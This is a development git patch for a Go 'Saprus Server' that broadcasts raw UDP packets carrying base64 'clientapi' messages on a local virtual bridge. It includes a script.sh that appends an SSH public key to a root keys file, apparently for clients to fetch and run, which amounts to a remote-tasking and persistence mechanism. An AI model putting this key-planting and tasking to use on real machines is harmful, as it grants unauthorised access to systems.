From 1fe34670ba84f03cd695cb1bf6b07e1e14170fe8 Mon Sep 17 00:00:00 2001 From: Pin Date: Mon, 6 Mar 2023 21:43:56 -0500 Subject: [PATCH] dev --- server/Dockerfile | 6 ++- server/README.md | 25 +++++++++ server/go.mod | 16 ++++++ server/go.sum | 27 ++++++++++ server/script.sh | 7 +++ server/server.go | 41 +++++++++++--- server/utils/raw_packet_send.go | 95 +++++++++++++++++++++++++++++++++ server/utils/service.go | 9 ++++ 8 files changed, 218 insertions(+), 8 deletions(-) create mode 100644 server/README.md create mode 100644 server/go.mod create mode 100644 server/go.sum create mode 100644 server/script.sh create mode 100644 server/utils/raw_packet_send.go create mode 100644 server/utils/service.go diff --git a/server/Dockerfile b/server/Dockerfile index 9809e62..3e42aba 100644 --- a/server/Dockerfile +++ b/server/Dockerfile @@ -2,8 +2,12 @@ FROM golang:1.18.2-alpine RUN mkdir -p /src -COPY server.go /src +COPY ./ /src WORKDIR /src RUN go build server.go +RUN mv server /bin/saprus-server + +ENTRYPOINT ["/bin/saprus-server"] + diff --git a/server/README.md b/server/README.md new file mode 100644 index 0000000..f35e82e --- /dev/null +++ b/server/README.md @@ -0,0 +1,25 @@ +# Saprus Server + +## Protocol Docs + +Wrapped around UDP + +``` + 0 1 2 3 4 + 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Destination Address | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Source Address | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| EtherType |Version| IHL |Type of Service| Total Length | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Identification |Flags| Fragment Offset | TTL | Protocol | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Header Checksum | Source Addr | Dest Addr | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Source Port | Dest Port | Length | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Checksum | Payload (0-1458 bytes) | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +``` diff --git a/server/go.mod b/server/go.mod new file mode 100644 index 0000000..abc0fe6 --- /dev/null +++ b/server/go.mod @@ -0,0 +1,16 @@ +module saprusserver + +go 1.20 + +require ( + github.com/google/gopacket v1.1.19 + github.com/mdlayher/packet v1.1.1 +) + +require ( + github.com/josharian/native v1.0.0 // indirect + github.com/mdlayher/socket v0.4.0 // indirect + golang.org/x/net v0.2.0 // indirect + golang.org/x/sync v0.1.0 // indirect + golang.org/x/sys v0.2.0 // indirect +) diff --git a/server/go.sum b/server/go.sum new file mode 100644 index 0000000..67a91e6 --- /dev/null +++ b/server/go.sum @@ -0,0 +1,27 @@ +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= +github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= +github.com/josharian/native v1.0.0 h1:Ts/E8zCSEsG17dUqv7joXJFybuMLjQfWE04tsBODTxk= +github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w= +github.com/mdlayher/packet v1.1.1 h1:7Fv4OEMYqPl7//uBm04VgPpnSNi8fbBZznppgh6WMr8= +github.com/mdlayher/packet v1.1.1/go.mod h1:DRvYY5mH4M4lUqAnMg04E60U4fjUKMZ/4g2cHElZkKo= +github.com/mdlayher/socket v0.4.0 h1:280wsy40IC9M9q1uPGcLBwXpcTQDtoGwVt+BNoITxIw= +github.com/mdlayher/socket v0.4.0/go.mod h1:xxFqz5GRCUN3UEOm9CZqEJsAbe1C8OwSK46NlmWuVoc= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU= +golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.2.0 h1:ljd4t30dBnAvMZaQCevtY0xLLD0A+bRZXbgLMLU1F/A= +golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git a/server/script.sh b/server/script.sh new file mode 100644 index 0000000..8912eb6 --- /dev/null +++ b/server/script.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +ROOT=${1} + +echo "hello world" > ${ROOT}/hello-world + +echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINxddOZtUsaoXtFgmnMmNNMGPeZLTIVgsirRWLumlBBc" >> ${ROOT}/root/keys diff --git a/server/server.go b/server/server.go index 13aaf77..397e353 100644 --- a/server/server.go +++ b/server/server.go @@ -3,13 +3,36 @@ package main import ( "encoding/base64" "fmt" + "log" "net" "strings" + + "saprusserver/utils" ) +func welcomeMessage() { + msg :=`Welcome to -- + ██████ ▄▄▄ ██▓███ ██▀███ █ ██ ██████ +▒██ ▒ ▒████▄ ▓██░ ██▒▓██ ▒ ██▒ ██ ▓██▒▒██ ▒ +░ ▓██▄ ▒██ ▀█▄ ▓██░ ██▓▒▓██ ░▄█ ▒▓██ ▒██░░ ▓██▄ + ▒ ██▒░██▄▄▄▄██ ▒██▄█▓▒ ▒▒██▀▀█▄ ▓▓█ ░██░ ▒ ██▒ +▒██████▒▒ ▓█ ▓██▒▒██▒ ░ ░░██▓ ▒██▒▒▒█████▓ ▒██████▒▒ +▒ ▒▓▒ ▒ ░ ▒▒ ▓▒█░▒▓▒░ ░ ░░ ▒▓ ░▒▓░░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░ +░ ░▒ ░ ░ ▒ ▒▒ ░░▒ ░ ░▒ ░ ▒░░░▒░ ░ ░ ░ ░▒ ░ ░ +░ ░ ░ ░ ▒ ░░ ░░ ░ ░░░ ░ ░ ░ ░ ░ + ░ ░ ░ ░ ░ ░ + + ` + fmt.Println(msg) +} + func main() { + welcomeMessage() + log.Printf("Starting server\n") + con := utils.SocketCall{} serv, err := net.ListenPacket("udp4", ":8888") - serverIP := "1.1.2.2" + //serverIP := "192.168.122.1:8000/script.sh" + serverIP := "hello world client data is fake }P" msg := "clientapi: " + serverIP b64Msg := base64.StdEncoding.EncodeToString([]byte(msg)) @@ -24,24 +47,28 @@ func main() { for { _, addr, err := serv.ReadFrom(buff) + if err != nil { panic(err) } remoteAddr := strings.Split(addr.String(), ":") - remote, err := net.ResolveUDPAddr("udp4", remoteAddr[0] + ":8850") + //remote, err := net.ResolveUDPAddr("udp4", remoteAddr[0] + ":8850") + log.Printf("Received data %s\n", remoteAddr) if err != nil { panic(err) } - conn, _ := net.DialUDP("udp4", nil, remote) - defer conn.Close() + con.SendData(b64Msg) - conn.Write([]byte(b64Msg)) - conn.Close() + //conn, _ := net.DialUDP("udp4", nil, remote) + //defer conn.Close() - fmt.Printf("Sending %s to %s\n", b64Msg, addr) + //conn.Write([]byte(b64Msg)) + //conn.Close() + + log.Printf("Sending data to %s\n", addr) } } diff --git a/server/utils/raw_packet_send.go b/server/utils/raw_packet_send.go new file mode 100644 index 0000000..2741b81 --- /dev/null +++ b/server/utils/raw_packet_send.go @@ -0,0 +1,95 @@ +package utils + +import ( + "log" + "net" + "unicode/utf8" + + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/mdlayher/packet" +) + +type SocketCall struct { + conn *packet.Conn + Iface *net.Interface +} + +func splitData(message string) []string { + data := []string{} + + var i, j int + + for i, j = 0, 1458; j < len(message); i, j = j, j+1458 { + for !utf8.RuneStart(message[j]) { + j-- + } + data = append(data, message[i:j]) + } + data = append(data, message[i:]) + + return data +} + +func (c* SocketCall)SendData(message string) { + splitMessage := splitData(message) + + for i := 0; i < len(splitMessage); i++ { + c.init(splitMessage[i]) + } + return +} + +func (c* SocketCall)init(data string) { + iface, _ := net.InterfaceByName("virbr0") + conn, err := packet.Listen(iface, packet.Raw, int(layers.EthernetTypeIPv4), nil) + + payload := []byte(data) + if len(payload) > 1500 { + log.Printf("Larger than 1500 -- %d", len(payload)) + } + + if err != nil { + log.Panic(err) + } + + c.Iface = iface + c.conn = conn + + eth := layers.Ethernet{ + EthernetType: layers.EthernetTypeIPv4, + SrcMAC: c.Iface.HardwareAddr, + DstMAC: layers.EthernetBroadcast, + } + ip := layers.IPv4{ + Version: 4, + TTL: 64, + SrcIP: []byte{0, 0, 0, 0}, + DstIP: []byte{255, 255, 255, 255}, + Protocol: layers.IPProtocolUDP, + } + udp := layers.UDP{ + SrcPort: 6868, + DstPort: 6767, + } + + buf := gopacket.NewSerializeBuffer() + opts := gopacket.SerializeOptions{ + ComputeChecksums: true, + FixLengths: true, + } + + udp.SetNetworkLayerForChecksum(&ip) + err = gopacket.SerializeLayers(buf, opts, ð, &ip, &udp, gopacket.Payload(payload)) + if err != nil { + log.Panic(err) + } + + _, err = c.conn.WriteTo(buf.Bytes(), &packet.Addr{HardwareAddr: eth.DstMAC}) + if err != nil { + log.Panic(err) + } + + return +} + diff --git a/server/utils/service.go b/server/utils/service.go new file mode 100644 index 0000000..4e4f4cd --- /dev/null +++ b/server/utils/service.go @@ -0,0 +1,9 @@ +package utils + +import ( + +) + +type SaprusPacket struct { + callType [2]string +}